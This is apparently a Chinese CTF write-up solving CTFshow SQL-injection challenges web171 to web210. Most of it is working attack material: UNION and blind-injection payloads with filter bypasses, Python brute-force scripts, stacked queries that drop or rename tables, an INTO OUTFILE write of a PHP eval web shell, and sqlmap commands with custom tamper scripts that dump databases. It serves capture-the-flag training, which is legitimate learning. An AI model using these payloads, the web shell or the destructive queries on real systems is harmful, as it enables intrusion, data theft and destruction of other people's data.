CTFSHOW-sql注入

2023-10-26

web171

最简单的sql注入,先演示基本操作

payload:

-1' union select 1,2,database() --+     //得到数据库名为ctfshow_web
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+     //得到数据表名为ctfshow_user
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+      //得到列名为id,username,password
-1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+

或者

-1' or id='26

web172

SELECT模块,无过滤注入2

payload:

-1' union select id,password from ctfshow_user2 where username='flag

web173

无过滤注入3

返回结果中不能有flag关键字

payload:

-1' union select id,id,password from ctfshow_user3 where username='flag

和上一题基本一样,只不过多了一列,补上id即可

web174

返回结果过滤了数字,flag中可以就会有数字

我们需要做的就是使得返回结果里不能有数字

最笨的方法,使用replace函数将0-9进行替换

replace("password","1","!")

这句话的意思就是将password当中的1替换为!

payload:

-1' union select 'A',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj') from ctfshow_user4 where username='flag

得到

ctfshow{anbinbgnbanbdbnbgf-nbanbfnbfa-nbdbenbh-aanbanbi-enbenbfnbjednbenbgeanbee}

替换之后得到

ctfshow{a9714b7f-166a-4be8-aa19-e560ed57ea5e}

web175

如果返回结果中没有ASCII码在 00-7f范围的,才会查询成功。

方法1:

把flag直接写入到网站根目录

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' --+

方法二:

类似的,写入一句话木马

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php

将其中的<?php eval($_POST[1]);?>进行base64编码,在进行url编码,得到

%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b

-1' union select 1,from_base64("%50%44%39%77%61%48%41%67%5a%58%5a%68%62%43%67%6b%58%31%42%50%55%31%52%62%4d%56%30%70%4f%7a%38%2b") into outfile '/var/www/html/1.php

之后就可以使用蚁剑了

使用蚁剑的"数据操作"功能

得到flag

web176

看不到过滤了什么

payload:

-1' or username='flag

web177

过滤了空格

payload:

-1'%0aor%0ausername='flag

或者

%09
%0a
%0d
%0c
/**/

web178

payload同上

web179

payload:

-1'%0cor%0cusername='flag

web180

同上题

web181

这次显示了过滤的内容

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

payload:

-1'%0cor%0cusername='flag

web182

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

在上面的基础上过滤了flag

模糊匹配,payload:

-1'%0cor%0cusername%0clike'%fla%

web183

 改成了post传参

function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

并且只回显有几条查询结果

脚本:

import requests
import time

url = 'http://7f66a4b7-a0c3-450c-9766-cead514a5ba7.challenge.ctf.show/select-waf.php'

flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'

flag = ''

for i in range(0,40):
    for x in flagstr:
        data = {
            "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x)
        }
        response = requests.post(url,data=data)
        time.sleep(0.3)
        if response.text.find("user_count = 1;")>0:
            print("{} is right".format(x))
            flag+=x
            break
        else:
            print("{} is wrong".format(x))
            continue
    print(flag)

web184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

过滤了where,反引号,单引号,双引号,上一题的脚本不能用了

但是没有过滤空格

可以用having代替where

可以使用十六进制字符串代替双引号中的内容

脚本:

import requests
import time

url = 'http://3cd237b1-5207-4df4-9bbb-cef2d3b406ed.challenge.ctf.show/select-waf.php'

flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'


def str2hex(str):
        a = ""
        for x in str:
                a += hex(ord(x))
        return a.replace("0x","")
def main():
        flag = ''
        for i in range(0,40):
            for x in flagstr:
                data = {
                    "tableName":"ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag+x))
                }
                response = requests.post(url,data=data)
                time.sleep(0.3)
                if response.text.find("user_count = 1;")>0:
                    print("{} is right".format(x))
                    flag+=x
                    break
                else:
                    print("{} is wrong".format(x))
                    continue
            print(flag)

if __name__ == '__main__':
        main()

跑出来的内容前面加上ctfshow即可

另外

发现这样也能跑出flag,只不过没有前面的ctfshow,需要自己手动加

web185

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

 过滤了数字,上面的payload不能用了

原理:

select true+true;  返回  2

select concat((true+true),(true+true));  返回  22

以此来构造数字

# 每秒发送不超过5个请求
# mysql 官方文档 https://dev.mysql.com/doc/refman/5.7/en/replication.html 5.7版本的

import requests
import time

url = "http://7a83d1b4-2842-4835-aa5e-86dec685ca56.challenge.ctf.show/select-waf.php"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"


# flagstr = "{"

def str2hex(str):
    a = ""
    for x in str:
        a += hex(ord(x))
    return "0x" + a.replace("0x", "")


# 63746673686f777b
def formatString(str):
    temp = "concat("
    for x in str:
        temp += char2boolean(x)
    return temp[:-1] + ")"


def char2boolean(ch):
    num = ord(ch)
    temp = "char("
    for x in range(num):
        temp += "true+"
    return temp[:-1] + "),"


# ctfshow{55eff0b8-fa84-4ee8-9cd2-4e84cdd78b73}

def main():
    flag = "ctfshow"
    for i in range(0, 40):
        for x in flagstr:
            data = {
                "tableName": "ctfshow_user group by pass having pass regexp({})".format(formatString(flag + x))
            }
            response = requests.post(url, data=data)
            time.sleep(0.3)
            if response.text.find("user_count = 1;") > 0:
                print("{} is right".format(x))
                flag += x
                break
            else:
                print("{} is wrong".format(x))
                continue
        print(flag)


if __name__ == '__main__':
    main()

web186

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

上面的脚本还能用

web187

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

这里的md5,有参数true

得到

特殊字符串:ffifdyop

得到:'or'6�]��!r,��b

bp抓包,即可得到flag

web188

  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

 登录成功就会给flag

当我们执行sql语句:select username,password from user where username=0;

这里没有用单引号包裹起来,而且是是弱类型比较

比如:admin == 0

           4abc == 4

所以都输入0即可

web189

本题提示:flag在api/index.php文件中

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

 上一题的方法不行了

脚本:

# 每秒发送不超过5个请求
import requests
import time

url = "http://69fb68f6-c5ce-426d-9f6f-1c95d1909df6.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

#$flag=ctfshow{482606d4-6025-426d-85ca-05613d7a829d};
flag = ""
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		}
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		if response.text.find("8d25")>0:
			print("{} is right".format(x))
			flag+=x
			break
		else:
			print("{} is wrong".format(x))
			continue
	print(flag)


web190

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

脚本:

import requests
import sys
import time

url = "http://9a62dd14-5b53-4122-a600-fa9f56a1d827.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

#ctfshow{77de2af3-6f34-4d20-adc7-8aba40a40ffe} 

二分法的盲注

web191

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

过滤了ASCII,使用ord替代

脚本:

import requests
import sys
import time

url = "http://0746ea92-e768-4d5b-94a4-d06e8e6d1126.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web192

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

ord和hex也被过滤了

不在使用ascii码进行判断,直接对字母进行判断

脚本:

import requests
import sys
import time

url = "http://adb090c2-705c-4501-9efc-fd82f651bae7.challenge.ctf.show/api/"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            flag += mid
            print(flag)
            break

web193

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

把substr也过滤了

用left替换即可

但是这道题的数据表变了,需要额外跑数据表

脚本:

import requests
import sys
import time

url = "http://fab51b68-1646-473b-b9de-e1925edaa3fc.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print(flag)
            break

web194

//密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

left,right也没了

使用lpad代替

脚本:

import requests
import sys
import time

url = "http://8bf7e90b-c558-4ded-a6c8-f1648a3f79aa.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print(flag)
            break

web195

 //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

堆叠注入:多条sql语句堆在一起执行

 不能有空格

思路:修改表名

username=1;update`ctfshow_user`set`pass`=1&password=1

然后直接登录

web196

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if(strlen($username)>16){
    $ret['msg']='用户名不能超过16个字符';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

限制了长度

密码正确就可以拿到flag

用户名0

密码使用以前泄露的默认密码登录即可

0
passwordAUTO

web197

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 上题的方法可以继续使用

另一种方法:

用户名输入

0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,2)

 密码随便输

这里的意思就是删除以前的表,再自己新建一个并且插入数据:1,2

然后直接使用1,2登录即可得到flag

web198

 //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

把上题的drop过滤了

思路:将username和password互换

username:

0;alter table ctfshow_user change `username` `passw2` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw2` `pass` varchar(100);

password随便输入

然后:用户名0 密码userAUTO 登陆即可

web199

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

 过滤了括号,限制了上一题的payload中的varchar(100)

改为text即可

0;alter table ctfshow_user change `username` `passw2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw2` `pass` text;

其他操作同上

web200

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

可以继续使用上一题的payload

或者

用户名:0;show tables;
密码:ctfshow_user

web201

开始练习sqlmap的使用

下载:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

题目说了要指定两个参数

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show

查询数据库:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show --dbs

查询数据表:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables

查询列:

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --columns

 

查询数据

python ./sqlmap.py -u "http://ef1aabd2-a275-40df-8ad4-99e7563322f8.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

得到flag

web202

提示使用--data 调整sqlmap的请求方式

前面查询数据库,数据表,列的步骤基本相同,差别就是在中间加一条:--data="id=1"

直接最后一步:

python sqlmap.py -u "http://b794446b-7f11-4600-beba-3de5961369b7.challenge.ctf.show/api/" --data="id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web203

使用--method 调整sqlmap的请求方式

--method= 方法   强制使用指定的方式进行连接,例如 PUT
python sqlmap.py -u "http://f3705260-6038-4926-bdbc-010956e9bfe0.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

另外,还需要加一个:--header=Content-Type:text/plain

web204

使用--cookie 提交cookie数据

可以看到页面的cookie

将两个cookie都加上

python sqlmap.py -u "http://623325d8-3c3c-42ff-9423-e185e72a674a.challenge.ctf.show/api/index.php" --data="id=1" --cookie="ctfshow=589d4876207ce99dd659c014bce92754;PHPSESSID=6jto7cppsplvq5345kihs8g5s2" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

api调用需要鉴权

抓包先看一下

发现会发送到getToken.php

点击Forward

这个是上面题目类型的正常请求

使用--safe-url=SAFEURL  设置在测试目标地址前访问的安全链接,而且使用这个参数时需要指定--safe-freq

--safe-freq=SAFE.. 设置两次注入测试前访问安全链接的次数

这道题的数据表换了,所以需要我们重新查表

python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

得到

python sqlmap.py -u "http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://99efcc6f-8672-4aa3-ae8e-024a3309b7cb.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1v4i4cmrckgenlf1jd9h4f7dd8" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flax --dump

得到flag

web206

sql需要闭合

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

--prefix=PREFIX 攻击载荷的前缀

--suffix=SUFFIX 攻击载荷的后缀

python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

python sqlmap.py -u "http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://abcb8445-5b02-456a-9abd-b0e49d350bd1.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=e06u7g1sseso5igh8h64c7qgrh" --prefix="')" --suffix="#" --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxc --dump

web207

--tamper=TAMPER 指定攻击载荷的篡改脚本

 这里的脚本在sqlmap的tamper目录中

//对传入的参数进行了过滤
  function waf($str){
   return preg_match('/ /', $str);
  }

 过滤了空格

space2comment.py

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with comments '/**/'

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5
        * Oracle 10g
        * PostgreSQL 8.3, 8.4, 9.0

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**/id/**/FROM/**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/**/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/**/"
                continue

            retVal += payload[i]

    return retVal
python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web --tables

 

python sqlmap.py -u "http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/index.php" --data="id=1" --safe-url="http://47040963-75b0-4f5b-915a-cb089f9864bf.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=mqfsia03bp1buuq4vuhbbcjm4d" --prefix="')" --suffix="#" --tamper=space2comment --user-agent=sqlmap --method=PUT --header=Content-Type:text/plain --referer=ctf.show -D ctfshow_web -T ctfshow_flaxca --dump

web208

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

将select替空,可以使用双写绕过,也可以使用大小写绕过

python ./sqlmap.py -u "http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://145960cb-5aa4-448f-ab80-b4fa9a5eaece.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6fbif0l74ghbo1shdhvkutu476" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/space2comment.py,tamper/randomcase.py"

web209

//对传入的参数进行了过滤
  function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
  }

过滤了 空格 * =

空格和*可以使用%0a代替,=可以使用like代替

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x0a)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

python ./sqlmap.py -u "http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/index.php" --dump --referer="ctf.show" --safe-url="http://dd17b7d0-aefd-4915-88e2-298de55d0036.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=6ki566sj2j85e1f3rjri4iai26" --method="PUT" -headers="content-type:text/plain" --data="id=1" --tamper="tamper/ctfshowweb209.py"

 

web210

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }

对id进行base64解码,然后反转,然后再解码,然后再反转

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import base64
from winreg import REG_OPTION_VOLATILE
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def doublebase64encode(payload):
    retVal = payload
    if payload:
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal.encode('utf-8'))
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal).decode('utf-8')
    return retVal


def tamper(payload, **kwargs):
    payload = doublebase64encode(payload)

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x0a)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == '=':
                retVal += chr(0x0a)+'like'+chr(0x0a)
                continue
            
            elif payload[i] == '*':
                retVal += chr(0x31)
                continue

            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x0a)
                continue

            retVal += payload[i]

    return retVal

